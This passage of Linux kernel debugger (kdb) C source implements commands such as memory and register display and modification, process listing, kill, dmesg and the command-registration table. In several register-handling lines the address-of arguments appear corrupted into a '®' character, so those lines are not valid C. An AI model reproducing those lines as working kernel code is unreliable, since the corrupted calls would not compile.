}
n = min(num, repeat);
kdb_md_line(fmtstr, addr, symbolic, nosect, bytesperword,
num, repeat, phys);
addr += bytesperword * n;
repeat -= n;
z = (z + num - 1) / num;
if (z > 2) {
int s = num * (z-2);
kdb_printf(kdb_machreg_fmt0 "-" kdb_machreg_fmt0
" zero suppressed\n",
addr, addr + bytesperword * s - 1);
addr += bytesperword * s;
repeat -= s;
}
}
last_addr = addr;
return 0;
}
/*
* kdb_mm - This function implements the 'mm' command.
* mm address-expression new-value
* Remarks:
* mm works on machine words, mmW works on bytes.
*/
static int kdb_mm(int argc, const char **argv)
{
int diag;
unsigned long addr;
long offset = 0;
unsigned long contents;
int nextarg;
int width;
if (argv[0][2] && !isdigit(argv[0][2]))
return KDB_NOTFOUND;
if (argc < 2)
return KDB_ARGCOUNT;
nextarg = 1;
diag = kdbgetaddrarg(argc, argv, &nextarg, &addr, &offset, NULL);
if (diag)
return diag;
if (nextarg > argc)
return KDB_ARGCOUNT;
diag = kdbgetaddrarg(argc, argv, &nextarg, &contents, NULL, NULL);
if (diag)
return diag;
if (nextarg != argc + 1)
return KDB_ARGCOUNT;
width = argv[0][2] ? (argv[0][2] - '0') : (KDB_WORD_SIZE);
diag = kdb_putword(addr, contents, width);
if (diag)
return diag;
kdb_printf(kdb_machreg_fmt " = " kdb_machreg_fmt "\n", addr, contents);
return 0;
}
/*
* kdb_go - This function implements the 'go' command.
* go [address-expression]
*/
static int kdb_go(int argc, const char **argv)
{
unsigned long addr;
int diag;
int nextarg;
long offset;
if (raw_smp_processor_id() != kdb_initial_cpu) {
kdb_printf("go must execute on the entry cpu, "
"please use \"cpu %d\" and then execute go\n",
kdb_initial_cpu);
return KDB_BADCPUNUM;
}
if (argc == 1) {
nextarg = 1;
diag = kdbgetaddrarg(argc, argv, &nextarg,
&addr, &offset, NULL);
if (diag)
return diag;
} else if (argc) {
return KDB_ARGCOUNT;
}
diag = KDB_CMD_GO;
if (KDB_FLAG(CATASTROPHIC)) {
kdb_printf("Catastrophic error detected\n");
kdb_printf("kdb_continue_catastrophic=%d, ",
kdb_continue_catastrophic);
if (kdb_continue_catastrophic == 0 && kdb_go_count++ == 0) {
kdb_printf("type go a second time if you really want "
"to continue\n");
return 0;
}
if (kdb_continue_catastrophic == 2) {
kdb_printf("forcing reboot\n");
kdb_reboot(0, NULL);
}
kdb_printf("attempting to continue\n");
}
return diag;
}
/*
* kdb_rd - This function implements the 'rd' command.
*/
static int kdb_rd(int argc, const char **argv)
{
int len = kdb_check_regs();
#if DBG_MAX_REG_NUM > 0
int i;
char *rname;
int rsize;
u64 reg64;
u32 reg32;
u16 reg16;
u8 reg8;
if (len)
return len;
for (i = 0; i < DBG_MAX_REG_NUM; i++) {
rsize = dbg_reg_def[i].size * 2;
if (rsize > 16)
rsize = 2;
if (len + strlen(dbg_reg_def[i].name) + 4 + rsize > 80) {
len = 0;
kdb_printf("\n");
}
if (len)
len += kdb_printf(" ");
switch(dbg_reg_def[i].size * 8) {
case 8:
rname = dbg_get_reg(i, ®8, kdb_current_regs);
if (!rname)
break;
len += kdb_printf("%s: %02x", rname, reg8);
break;
case 16:
rname = dbg_get_reg(i, ®16, kdb_current_regs);
if (!rname)
break;
len += kdb_printf("%s: %04x", rname, reg16);
break;
case 32:
rname = dbg_get_reg(i, ®32, kdb_current_regs);
if (!rname)
break;
len += kdb_printf("%s: %08x", rname, reg32);
break;
case 64:
rname = dbg_get_reg(i, ®64, kdb_current_regs);
if (!rname)
break;
len += kdb_printf("%s: %016llx", rname, reg64);
break;
default:
len += kdb_printf("%s: ??", dbg_reg_def[i].name);
}
}
kdb_printf("\n");
#else
if (len)
return len;
kdb_dumpregs(kdb_current_regs);
#endif
return 0;
}
/*
* kdb_rm - This function implements the 'rm' (register modify) command.
* rm register-name new-contents
* Remarks:
* Allows register modification with the same restrictions as gdb
*/
static int kdb_rm(int argc, const char **argv)
{
#if DBG_MAX_REG_NUM > 0
int diag;
const char *rname;
int i;
u64 reg64;
u32 reg32;
u16 reg16;
u8 reg8;
if (argc != 2)
return KDB_ARGCOUNT;
/*
* Allow presence or absence of leading '%' symbol.
*/
rname = argv[1];
if (*rname == '%')
rname++;
diag = kdbgetu64arg(argv[2], ®64);
if (diag)
return diag;
diag = kdb_check_regs();
if (diag)
return diag;
diag = KDB_BADREG;
for (i = 0; i < DBG_MAX_REG_NUM; i++) {
if (strcmp(rname, dbg_reg_def[i].name) == 0) {
diag = 0;
break;
}
}
if (!diag) {
switch(dbg_reg_def[i].size * 8) {
case 8:
reg8 = reg64;
dbg_set_reg(i, ®8, kdb_current_regs);
break;
case 16:
reg16 = reg64;
dbg_set_reg(i, ®16, kdb_current_regs);
break;
case 32:
reg32 = reg64;
dbg_set_reg(i, ®32, kdb_current_regs);
break;
case 64:
dbg_set_reg(i, ®64, kdb_current_regs);
break;
}
}
return diag;
#else
kdb_printf("ERROR: Register set currently not implemented\n");
return 0;
#endif
}
#if defined(CONFIG_MAGIC_SYSRQ)
/*
* kdb_sr - This function implements the 'sr' (SYSRQ key) command
* which interfaces to the soi-disant MAGIC SYSRQ functionality.
* sr <magic-sysrq-code>
*/
static int kdb_sr(int argc, const char **argv)
{
if (argc != 1)
return KDB_ARGCOUNT;
kdb_trap_printk++;
__handle_sysrq(*argv[1], false);
kdb_trap_printk--;
return 0;
}
#endif /* CONFIG_MAGIC_SYSRQ */
/*
* kdb_ef - This function implements the 'regs' (display exception
* frame) command. This command takes an address and expects to
* find an exception frame at that address, formats and prints
* it.
* regs address-expression
* Remarks:
* Not done yet.
*/
static int kdb_ef(int argc, const char **argv)
{
int diag;
unsigned long addr;
long offset;
int nextarg;
if (argc != 1)
return KDB_ARGCOUNT;
nextarg = 1;
diag = kdbgetaddrarg(argc, argv, &nextarg, &addr, &offset, NULL);
if (diag)
return diag;
show_regs((struct pt_regs *)addr);
return 0;
}
#if defined(CONFIG_MODULES)
/*
* kdb_lsmod - This function implements the 'lsmod' command. Lists
* currently loaded kernel modules.
* Mostly taken from userland lsmod.
*/
static int kdb_lsmod(int argc, const char **argv)
{
struct module *mod;
if (argc != 0)
return KDB_ARGCOUNT;
kdb_printf("Module Size modstruct Used by\n");
list_for_each_entry(mod, kdb_modules, list) {
if (mod->state == MODULE_STATE_UNFORMED)
continue;
kdb_printf("%-20s%8u 0x%p ", mod->name,
mod->core_size, (void *)mod);
#ifdef CONFIG_MODULE_UNLOAD
kdb_printf("%4ld ", module_refcount(mod));
#endif
if (mod->state == MODULE_STATE_GOING)
kdb_printf(" (Unloading)");
else if (mod->state == MODULE_STATE_COMING)
kdb_printf(" (Loading)");
else
kdb_printf(" (Live)");
kdb_printf(" 0x%p", mod->module_core);
#ifdef CONFIG_MODULE_UNLOAD
{
struct module_use *use;
kdb_printf(" [ ");
list_for_each_entry(use, &mod->source_list,
source_list)
kdb_printf("%s ", use->target->name);
kdb_printf("]\n");
}
#endif
}
return 0;
}
#endif /* CONFIG_MODULES */
/*
* kdb_env - This function implements the 'env' command. Display the
* current environment variables.
*/
static int kdb_env(int argc, const char **argv)
{
int i;
for (i = 0; i < __nenv; i++) {
if (__env[i])
kdb_printf("%s\n", __env[i]);
}
if (KDB_DEBUG(MASK))
kdb_printf("KDBFLAGS=0x%x\n", kdb_flags);
return 0;
}
#ifdef CONFIG_PRINTK
/*
* kdb_dmesg - This function implements the 'dmesg' command to display
* the contents of the syslog buffer.
* dmesg [lines] [adjust]
*/
static int kdb_dmesg(int argc, const char **argv)
{
int diag;
int logging;
int lines = 0;
int adjust = 0;
int n = 0;
int skip = 0;
struct kmsg_dumper dumper = { .active = 1 };
size_t len;
char buf[201];
if (argc > 2)
return KDB_ARGCOUNT;
if (argc) {
char *cp;
lines = simple_strtol(argv[1], &cp, 0);
if (*cp)
lines = 0;
if (argc > 1) {
adjust = simple_strtoul(argv[2], &cp, 0);
if (*cp || adjust < 0)
adjust = 0;
}
}
/* disable LOGGING if set */
diag = kdbgetintenv("LOGGING", &logging);
if (!diag && logging) {
const char *setargs[] = { "set", "LOGGING", "0" };
kdb_set(2, setargs);
}
kmsg_dump_rewind_nolock(&dumper);
while (kmsg_dump_get_line_nolock(&dumper, 1, NULL, 0, NULL))
n++;
if (lines < 0) {
if (adjust >= n)
kdb_printf("buffer only contains %d lines, nothing "
"printed\n", n);
else if (adjust - lines >= n)
kdb_printf("buffer only contains %d lines, last %d "
"lines printed\n", n, n - adjust);
skip = adjust;
lines = abs(lines);
} else if (lines > 0) {
skip = n - lines - adjust;
lines = abs(lines);
if (adjust >= n) {
kdb_printf("buffer only contains %d lines, "
"nothing printed\n", n);
skip = n;
} else if (skip < 0) {
lines += skip;
skip = 0;
kdb_printf("buffer only contains %d lines, first "
"%d lines printed\n", n, lines);
}
} else {
lines = n;
}
if (skip >= n || skip < 0)
return 0;
kmsg_dump_rewind_nolock(&dumper);
while (kmsg_dump_get_line_nolock(&dumper, 1, buf, sizeof(buf), &len)) {
if (skip) {
skip--;
continue;
}
if (!lines--)
break;
if (KDB_FLAG(CMD_INTERRUPT))
return 0;
kdb_printf("%.*s\n", (int)len - 1, buf);
}
return 0;
}
#endif /* CONFIG_PRINTK */
/* Make sure we balance enable/disable calls, must disable first. */
static atomic_t kdb_nmi_disabled;
static int kdb_disable_nmi(int argc, const char *argv[])
{
if (atomic_read(&kdb_nmi_disabled))
return 0;
atomic_set(&kdb_nmi_disabled, 1);
arch_kgdb_ops.enable_nmi(0);
return 0;
}
static int kdb_param_enable_nmi(const char *val, const struct kernel_param *kp)
{
if (!atomic_add_unless(&kdb_nmi_disabled, -1, 0))
return -EINVAL;
arch_kgdb_ops.enable_nmi(1);
return 0;
}
static const struct kernel_param_ops kdb_param_ops_enable_nmi = {
.set = kdb_param_enable_nmi,
};
module_param_cb(enable_nmi, &kdb_param_ops_enable_nmi, NULL, 0600);
/*
* kdb_cpu - This function implements the 'cpu' command.
* cpu [<cpunum>]
* Returns:
* KDB_CMD_CPU for success, a kdb diagnostic if error
*/
static void kdb_cpu_status(void)
{
int i, start_cpu, first_print = 1;
char state, prev_state = '?';
kdb_printf("Currently on cpu %d\n", raw_smp_processor_id());
kdb_printf("Available cpus: ");
for (start_cpu = -1, i = 0; i < NR_CPUS; i++) {
if (!cpu_online(i)) {
state = 'F'; /* cpu is offline */
} else {
state = ' '; /* cpu is responding to kdb */
if (kdb_task_state_char(KDB_TSK(i)) == 'I')
state = 'I'; /* idle task */
}
if (state != prev_state) {
if (prev_state != '?') {
if (!first_print)
kdb_printf(", ");
first_print = 0;
kdb_printf("%d", start_cpu);
if (start_cpu < i-1)
kdb_printf("-%d", i-1);
if (prev_state != ' ')
kdb_printf("(%c)", prev_state);
}
prev_state = state;
start_cpu = i;
}
}
/* print the trailing cpus, ignoring them if they are all offline */
if (prev_state != 'F') {
if (!first_print)
kdb_printf(", ");
kdb_printf("%d", start_cpu);
if (start_cpu < i-1)
kdb_printf("-%d", i-1);
if (prev_state != ' ')
kdb_printf("(%c)", prev_state);
}
kdb_printf("\n");
}
static int kdb_cpu(int argc, const char **argv)
{
unsigned long cpunum;
int diag;
if (argc == 0) {
kdb_cpu_status();
return 0;
}
if (argc != 1)
return KDB_ARGCOUNT;
diag = kdbgetularg(argv[1], &cpunum);
if (diag)
return diag;
/*
* Validate cpunum
*/
if ((cpunum > NR_CPUS) || !cpu_online(cpunum))
return KDB_BADCPUNUM;
dbg_switch_cpu = cpunum;
/*
* Switch to other cpu
*/
return KDB_CMD_CPU;
}
/* The user may not realize that ps/bta with no parameters does not print idle
* or sleeping system daemon processes, so tell them how many were suppressed.
*/
void kdb_ps_suppressed(void)
{
int idle = 0, daemon = 0;
unsigned long mask_I = kdb_task_state_string("I"),
mask_M = kdb_task_state_string("M");
unsigned long cpu;
const struct task_struct *p, *g;
for_each_online_cpu(cpu) {
p = kdb_curr_task(cpu);
if (kdb_task_state(p, mask_I))
++idle;
}
kdb_do_each_thread(g, p) {
if (kdb_task_state(p, mask_M))
++daemon;
} kdb_while_each_thread(g, p);
if (idle || daemon) {
if (idle)
kdb_printf("%d idle process%s (state I)%s\n",
idle, idle == 1 ? "" : "es",
daemon ? " and " : "");
if (daemon)
kdb_printf("%d sleeping system daemon (state M) "
"process%s", daemon,
daemon == 1 ? "" : "es");
kdb_printf(" suppressed,\nuse 'ps A' to see all.\n");
}
}
/*
* kdb_ps - This function implements the 'ps' command which shows a
* list of the active processes.
* ps [DRSTCZEUIMA] All processes, optionally filtered by state
*/
void kdb_ps1(const struct task_struct *p)
{
int cpu;
unsigned long tmp;
if (!p || probe_kernel_read(&tmp, (char *)p, sizeof(unsigned long)))
return;
cpu = kdb_process_cpu(p);
kdb_printf("0x%p %8d %8d %d %4d %c 0x%p %c%s\n",
(void *)p, p->pid, p->parent->pid,
kdb_task_has_cpu(p), kdb_process_cpu(p),
kdb_task_state_char(p),
(void *)(&p->thread),
p == kdb_curr_task(raw_smp_processor_id()) ? '*' : ' ',
p->comm);
if (kdb_task_has_cpu(p)) {
if (!KDB_TSK(cpu)) {
kdb_printf(" Error: no saved data for this cpu\n");
} else {
if (KDB_TSK(cpu) != p)
kdb_printf(" Error: does not match running "
"process table (0x%p)\n", KDB_TSK(cpu));
}
}
}
static int kdb_ps(int argc, const char **argv)
{
struct task_struct *g, *p;
unsigned long mask, cpu;
if (argc == 0)
kdb_ps_suppressed();
kdb_printf("%-*s Pid Parent [*] cpu State %-*s Command\n",
(int)(2*sizeof(void *))+2, "Task Addr",
(int)(2*sizeof(void *))+2, "Thread");
mask = kdb_task_state_string(argc ? argv[1] : NULL);
/* Run the active tasks first */
for_each_online_cpu(cpu) {
if (KDB_FLAG(CMD_INTERRUPT))
return 0;
p = kdb_curr_task(cpu);
if (kdb_task_state(p, mask))
kdb_ps1(p);
}
kdb_printf("\n");
/* Now the real tasks */
kdb_do_each_thread(g, p) {
if (KDB_FLAG(CMD_INTERRUPT))
return 0;
if (kdb_task_state(p, mask))
kdb_ps1(p);
} kdb_while_each_thread(g, p);
return 0;
}
/*
* kdb_pid - This function implements the 'pid' command which switches
* the currently active process.
* pid [<pid> | R]
*/
static int kdb_pid(int argc, const char **argv)
{
struct task_struct *p;
unsigned long val;
int diag;
if (argc > 1)
return KDB_ARGCOUNT;
if (argc) {
if (strcmp(argv[1], "R") == 0) {
p = KDB_TSK(kdb_initial_cpu);
} else {
diag = kdbgetularg(argv[1], &val);
if (diag)
return KDB_BADINT;
p = find_task_by_pid_ns((pid_t)val, &init_pid_ns);
if (!p) {
kdb_printf("No task with pid=%d\n", (pid_t)val);
return 0;
}
}
kdb_set_current_task(p);
}
kdb_printf("KDB current process is %s(pid=%d)\n",
kdb_current_task->comm,
kdb_current_task->pid);
return 0;
}
static int kdb_kgdb(int argc, const char **argv)
{
return KDB_CMD_KGDB;
}
/*
* kdb_help - This function implements the 'help' and '?' commands.
*/
static int kdb_help(int argc, const char **argv)
{
kdbtab_t *kt;
int i;
kdb_printf("%-15.15s %-20.20s %s\n", "Command", "Usage", "Description");
kdb_printf("-----------------------------"
"-----------------------------\n");
for_each_kdbcmd(kt, i) {
char *space = "";
if (KDB_FLAG(CMD_INTERRUPT))
return 0;
if (!kt->cmd_name)
continue;
if (strlen(kt->cmd_usage) > 20)
space = "\n ";
kdb_printf("%-15.15s %-20s%s%s\n", kt->cmd_name,
kt->cmd_usage, space, kt->cmd_help);
}
return 0;
}
/*
* kdb_kill - This function implements the 'kill' commands.
*/
static int kdb_kill(int argc, const char **argv)
{
long sig, pid;
char *endp;
struct task_struct *p;
struct siginfo info;
if (argc != 2)
return KDB_ARGCOUNT;
sig = simple_strtol(argv[1], &endp, 0);
if (*endp)
return KDB_BADINT;
if (sig >= 0) {
kdb_printf("Invalid signal parameter.<-signal>\n");
return 0;
}
sig = -sig;
pid = simple_strtol(argv[2], &endp, 0);
if (*endp)
return KDB_BADINT;
if (pid <= 0) {
kdb_printf("Process ID must be large than 0.\n");
return 0;
}
/* Find the process. */
p = find_task_by_pid_ns(pid, &init_pid_ns);
if (!p) {
kdb_printf("The specified process isn't found.\n");
return 0;
}
p = p->group_leader;
info.si_signo = sig;
info.si_errno = 0;
info.si_code = SI_USER;
info.si_pid = pid; /* same capabilities as process being signalled */
info.si_uid = 0; /* kdb has root authority */
kdb_send_sig_info(p, &info);
return 0;
}
struct kdb_tm {
int tm_sec; /* seconds */
int tm_min; /* minutes */
int tm_hour; /* hours */
int tm_mday; /* day of the month */
int tm_mon; /* month */
int tm_year; /* year */
};
static void kdb_gmtime(struct timespec *tv, struct kdb_tm *tm)
{
/* This will work from 1970-2099, 2100 is not a leap year */
static int mon_day[] = { 31, 29, 31, 30, 31, 30, 31,
31, 30, 31, 30, 31 };
memset(tm, 0, sizeof(*tm));
tm->tm_sec = tv->tv_sec % (24 * 60 * 60);
tm->tm_mday = tv->tv_sec / (24 * 60 * 60) +
(2 * 365 + 1); /* shift base from 1970 to 1968 */
tm->tm_min = tm->tm_sec / 60 % 60;
tm->tm_hour = tm->tm_sec / 60 / 60;
tm->tm_sec = tm->tm_sec % 60;
tm->tm_year = 68 + 4*(tm->tm_mday / (4*365+1));
tm->tm_mday %= (4*365+1);
mon_day[1] = 29;
while (tm->tm_mday >= mon_day[tm->tm_mon]) {
tm->tm_mday -= mon_day[tm->tm_mon];
if (++tm->tm_mon == 12) {
tm->tm_mon = 0;
++tm->tm_year;
mon_day[1] = 28;
}
}
++tm->tm_mday;
}
/*
* Most of this code has been lifted from kernel/timer.c::sys_sysinfo().
* I cannot call that code directly from kdb, it has an unconditional
* cli()/sti() and calls routines that take locks which can stop the debugger.
*/
static void kdb_sysinfo(struct sysinfo *val)
{
struct timespec uptime;
ktime_get_ts(&uptime);
memset(val, 0, sizeof(*val));
val->uptime = uptime.tv_sec;
val->loads[0] = avenrun[0];
val->loads[1] = avenrun[1];
val->loads[2] = avenrun[2];
val->procs = nr_threads-1;
si_meminfo(val);
return;
}
/*
* kdb_summary - This function implements the 'summary' command.
*/
static int kdb_summary(int argc, const char **argv)
{
struct timespec now;
struct kdb_tm tm;
struct sysinfo val;
if (argc)
return KDB_ARGCOUNT;
kdb_printf("sysname %s\n", init_uts_ns.name.sysname);
kdb_printf("release %s\n", init_uts_ns.name.release);
kdb_printf("version %s\n", init_uts_ns.name.version);
kdb_printf("machine %s\n", init_uts_ns.name.machine);
kdb_printf("nodename %s\n", init_uts_ns.name.nodename);
kdb_printf("domainname %s\n", init_uts_ns.name.domainname);
kdb_printf("ccversion %s\n", __stringify(CCVERSION));
now = __current_kernel_time();
kdb_gmtime(&now, &tm);
kdb_printf("date %04d-%02d-%02d %02d:%02d:%02d "
"tz_minuteswest %d\n",
1900+tm.tm_year, tm.tm_mon+1, tm.tm_mday,
tm.tm_hour, tm.tm_min, tm.tm_sec,
sys_tz.tz_minuteswest);
kdb_sysinfo(&val);
kdb_printf("uptime ");
if (val.uptime > (24*60*60)) {
int days = val.uptime / (24*60*60);
val.uptime %= (24*60*60);
kdb_printf("%d day%s ", days, days == 1 ? "" : "s");
}
kdb_printf("%02ld:%02ld\n", val.uptime/(60*60), (val.uptime/60)%60);
/* lifted from fs/proc/proc_misc.c::loadavg_read_proc() */
#define LOAD_INT(x) ((x) >> FSHIFT)
#define LOAD_FRAC(x) LOAD_INT(((x) & (FIXED_1-1)) * 100)
kdb_printf("load avg %ld.%02ld %ld.%02ld %ld.%02ld\n",
LOAD_INT(val.loads[0]), LOAD_FRAC(val.loads[0]),
LOAD_INT(val.loads[1]), LOAD_FRAC(val.loads[1]),
LOAD_INT(val.loads[2]), LOAD_FRAC(val.loads[2]));
#undef LOAD_INT
#undef LOAD_FRAC
/* Display in kilobytes */
#define K(x) ((x) << (PAGE_SHIFT - 10))
kdb_printf("\nMemTotal: %8lu kB\nMemFree: %8lu kB\n"
"Buffers: %8lu kB\n",
K(val.totalram), K(val.freeram), K(val.bufferram));
return 0;
}
/*
* kdb_per_cpu - This function implements the 'per_cpu' command.
*/
static int kdb_per_cpu(int argc, const char **argv)
{
char fmtstr[64];
int cpu, diag, nextarg = 1;
unsigned long addr, symaddr, val, bytesperword = 0, whichcpu = ~0UL;
if (argc < 1 || argc > 3)
return KDB_ARGCOUNT;
diag = kdbgetaddrarg(argc, argv, &nextarg, &symaddr, NULL, NULL);
if (diag)
return diag;
if (argc >= 2) {
diag = kdbgetularg(argv[2], &bytesperword);
if (diag)
return diag;
}
if (!bytesperword)
bytesperword = KDB_WORD_SIZE;
else if (bytesperword > KDB_WORD_SIZE)
return KDB_BADWIDTH;
sprintf(fmtstr, "%%0%dlx ", (int)(2*bytesperword));
if (argc >= 3) {
diag = kdbgetularg(argv[3], &whichcpu);
if (diag)
return diag;
if (!cpu_online(whichcpu)) {
kdb_printf("cpu %ld is not online\n", whichcpu);
return KDB_BADCPUNUM;
}
}
/* Most architectures use __per_cpu_offset[cpu], some use
* __per_cpu_offset(cpu), smp has no __per_cpu_offset.
*/
#ifdef __per_cpu_offset
#define KDB_PCU(cpu) __per_cpu_offset(cpu)
#else
#ifdef CONFIG_SMP
#define KDB_PCU(cpu) __per_cpu_offset[cpu]
#else
#define KDB_PCU(cpu) 0
#endif
#endif
for_each_online_cpu(cpu) {
if (KDB_FLAG(CMD_INTERRUPT))
return 0;
if (whichcpu != ~0UL && whichcpu != cpu)
continue;
addr = symaddr + KDB_PCU(cpu);
diag = kdb_getword(&val, addr, bytesperword);
if (diag) {
kdb_printf("%5d " kdb_bfd_vma_fmt0 " - unable to "
"read, diag=%d\n", cpu, addr, diag);
continue;
}
kdb_printf("%5d ", cpu);
kdb_md_line(fmtstr, addr,
bytesperword == KDB_WORD_SIZE,
1, bytesperword, 1, 1, 0);
}
#undef KDB_PCU
return 0;
}
/*
* display help for the use of cmd | grep pattern
*/
static int kdb_grep_help(int argc, const char **argv)
{
kdb_printf("Usage of cmd args | grep pattern:\n");
kdb_printf(" Any command's output may be filtered through an ");
kdb_printf("emulated 'pipe'.\n");
kdb_printf(" 'grep' is just a key word.\n");
kdb_printf(" The pattern may include a very limited set of "
"metacharacters:\n");
kdb_printf(" pattern or ^pattern or pattern$ or ^pattern$\n");
kdb_printf(" And if there are spaces in the pattern, you may "
"quote it:\n");
kdb_printf(" \"pat tern\" or \"^pat tern\" or \"pat tern$\""
" or \"^pat tern$\"\n");
return 0;
}
/*
* kdb_register_repeat - This function is used to register a kernel
* debugger command.
* Inputs:
* cmd Command name
* func Function to execute the command
* usage A simple usage string showing arguments
* help A simple help string describing command
* repeat Does the command auto repeat on enter?
* Returns:
* zero for success, one if a duplicate command.
*/
#define kdb_command_extend 50 /* arbitrary */
int kdb_register_repeat(char *cmd,
kdb_func_t func,
char *usage,
char *help,
short minlen,
kdb_repeat_t repeat)
{
int i;
kdbtab_t *kp;
/*
* Brute force method to determine duplicates
*/
for_each_kdbcmd(kp, i) {
if (kp->cmd_name && (strcmp(kp->cmd_name, cmd) == 0)) {
kdb_printf("Duplicate kdb command registered: "
"%s, func %p help %s\n", cmd, func, help);
return 1;
}
}
/*
* Insert command into first available location in table
*/
for_each_kdbcmd(kp, i) {
if (kp->cmd_name == NULL)
break;
}
if (i >= kdb_max_commands) {
kdbtab_t *new = kmalloc((kdb_max_commands - KDB_BASE_CMD_MAX +
kdb_command_extend) * sizeof(*new), GFP_KDB);
if (!new) {
kdb_printf("Could not allocate new kdb_command "
"table\n");
return 1;
}
if (kdb_commands) {
memcpy(new, kdb_commands,
(kdb_max_commands - KDB_BASE_CMD_MAX) * sizeof(*new));
kfree(kdb_commands);
}
memset(new + kdb_max_commands - KDB_BASE_CMD_MAX, 0,
kdb_command_extend * sizeof(*new));
kdb_commands = new;
kp = kdb_commands + kdb_max_commands - KDB_BASE_CMD_MAX;
kdb_max_commands += kdb_command_extend;
}
kp->cmd_name = cmd;
kp->cmd_func = func;
kp->cmd_usage = usage;
kp->cmd_help = help;
kp->cmd_flags = 0;
kp->cmd_minlen = minlen;
kp->cmd_repeat = repeat;
return 0;
}
EXPORT_SYMBOL_GPL(kdb_register_repeat);
/*
* kdb_register - Compatibility register function for commands that do
* not need to specify a repeat state. Equivalent to
* kdb_register_repeat with KDB_REPEAT_NONE.
* Inputs:
* cmd Command name
* func Function to execute the command
* usage A simple usage string showing arguments
* help A simple help string describing command
* Returns:
* zero for success, one if a duplicate command.
*/
int kdb_register(char *cmd,
kdb_func_t func,
char *usage,
char *help,
short minlen)
{
return kdb_register_repeat(cmd, func, usage, help, minlen,
KDB_REPEAT_NONE);
}
EXPORT_SYMBOL_GPL(kdb_register);
/*
* kdb_unregister - This function is used to unregister a kernel
* debugger command. It is generally called when a module which
* implements kdb commands is unloaded.
* Inputs:
* cmd Command name
* Returns:
* zero for success, one command not registered.
*/
int kdb_unregister(char *cmd)
{
int i;
kdbtab_t *kp;
/*
* find the command.
*/
for_each_kdbcmd(kp, i) {
if (kp->cmd_name && (strcmp(kp->cmd_name, cmd) == 0)) {
kp->cmd_name = NULL;
return 0;
}
}
/* Couldn't find it. */
return 1;
}
EXPORT_SYMBOL_GPL(kdb_unregister);
/* Initialize the kdb command table. */
static void __init kdb_inittab(void)
{
int i;
kdbtab_t *kp;
for_each_kdbcmd(kp, i)
kp->cmd_name = NULL;
kdb_register_repeat("md", kdb_md, "<vaddr>",
"Display Memory Contents, also mdWcN, e.g. md8c1", 1,
KDB_REPEAT_NO_ARGS);
kdb_register_repeat("mdr", kdb_md, "<vaddr> <bytes>",
"Display Raw Memory", 0, KDB_REPEAT_NO_ARGS);
kdb_register_repeat("mdp", kdb_md, "<paddr> <bytes>",
"Display Physical Memory", 0, KDB_REPEAT_NO_ARGS);
kdb_register_repeat("mds", kdb_md, "<vaddr>",
"Display Memory Symbolically", 0, KDB_REPEAT_NO_ARGS);
kdb_register_repeat("mm", kdb_mm, "<vaddr> <contents>",
"Modify Memory Contents", 0, KDB_REPEAT_NO_ARGS);
kdb_register_repeat("go", kdb_go, "[<vaddr>]",
"Continue Execution", 1, KDB_REPEAT_NONE);
kdb_register_repeat("rd", kdb_rd, "",
"Display Registers", 0, KDB_REPEAT_NONE);
kdb_register_repeat("rm", kdb_rm, "<reg> <contents>",
"Modify Registers", 0, KDB_REPEAT_NONE);
kdb_register_repeat("ef", kdb_ef, "<vaddr>",
"Display exception frame", 0, KDB_REPEAT_NONE);
kdb_register_repeat("bt", kdb_bt, "[<vaddr>]",
"Stack traceback", 1, KDB_REPEAT_NONE);
kdb_register_repeat("btp", kdb_bt, "<pid>",
"Display stack for process <pid>", 0, KDB_REPEAT_NONE);
kdb_register_repeat("bta", kdb_bt, "[D|R|S|T|C|Z|E|U|I|M|A]",
"Backtrace all processes matching state flag", 0, KDB_REPEAT_NONE);
kdb_register_repeat("btc", kdb_bt, "",
"Backtrace current process on each cpu", 0, KDB_REPEAT_NONE);
kdb_register_repeat("btt", kdb_bt, "<vaddr>",
"Backtrace process given its struct task address", 0,
KDB_REPEAT_NONE);
kdb_register_repeat("env", kdb_env, "",
"Show environment variables", 0, KDB_REPEAT_NONE);
kdb_register_repeat("set", kdb_set, "",
"Set environment variables", 0, KDB_REPEAT_NONE);
kdb_register_repeat("help", kdb_help, "",
"Display Help Message", 1, KDB_REPEAT_NONE);
kdb_register_repeat("?", kdb_help, "",
"Display Help Message", 0, KDB_REPEAT_NONE);
kdb_register_repeat("cpu", kdb_cpu, "<cpunum>",
"Switch to new cpu", 0, KDB_REPEAT_NONE);
kdb_register_repeat("kgdb", kdb_kgdb, "",
"Enter kgdb mode", 0, KDB_REPEAT_NONE);
kdb_register_repeat("ps", kdb_ps, "[<flags>|A]",
"Display active task list", 0, KDB_REPEAT_NONE);
kdb_register_repeat("pid", kdb_pid, "<pidnum>",
"Switch to another task", 0, KDB_REPEAT_NONE);
kdb_register_repeat("reboot", kdb_reboot, "",
"Reboot the machine immediately", 0, KDB_REPEAT_NONE);
#if defined(CONFIG_MODULES)
kdb_register_repeat("lsmod", kdb_lsmod, "",
"List loaded kernel modules", 0, KDB_REPEAT_NONE);
#endif
#if defined(CONFIG_MAGIC_SYSRQ)
kdb_register_repeat("sr", kdb_sr, "<key>",
"Magic SysRq key", 0, KDB_REPEAT_NONE);
#endif
#if defined(CONFIG_PRINTK)
kdb_register_repeat("dmesg", kdb_dmesg, "[lines]",
"Display syslog buffer", 0, KDB_REPEAT_NONE);
#endif
if (arch_kgdb_ops.enable_nmi) {
kdb_register_repeat("disable_nmi", kdb_disable_nmi, "",
"Disable NMI entry to KDB", 0, KDB_REPEAT_NONE);
}
kdb_register_repeat("defcmd", kdb_defcmd, "name \"usage\" \"help\"",
"Define a set of commands, down to endefcmd", 0, KDB_REPEAT_NONE);
kdb_register_repeat("kill", kdb_kill, "<-signal> <pid>",
"Send a signal to a process", 0, KDB_REPEAT_NONE);
kdb_register_repeat("summary", kdb_summary, "",
"Summarize the system", 4, KDB_REPEAT_NONE);
kdb_register_repeat("per_cpu", kdb_per_cpu, "<sym> [<bytes>] [<cpu>]",
"Display per_cpu variables", 3, KDB_REPEAT_NONE);
kdb_register_repeat("grephelp", kdb_grep_help, "",
"Display help on | grep", 0, KDB_REPEAT_NONE);
}
/* Execute any commands defined in kdb_cmds. */
static void __init kdb_cmd_init(void)
{
int i, diag;
for (i = 0; kdb_cmds[i]; ++i) {
diag = kdb_parse(kdb_cmds[i]);
if (diag)
kdb_printf("kdb command %s failed, kdb diag %d\n",
kdb_cmds[i], diag);
}
if (defcmd_in_progress) {
kdb_printf("Incomplete 'defcmd' set, forcing endefcmd\n");
kdb_parse("endefcmd");
}
}
/* Initialize kdb_printf, breakpoint tables and kdb state */
void __init kdb_init(int lvl)
{
static int kdb_init_lvl = KDB_NOT_INITIALIZED;
int i;
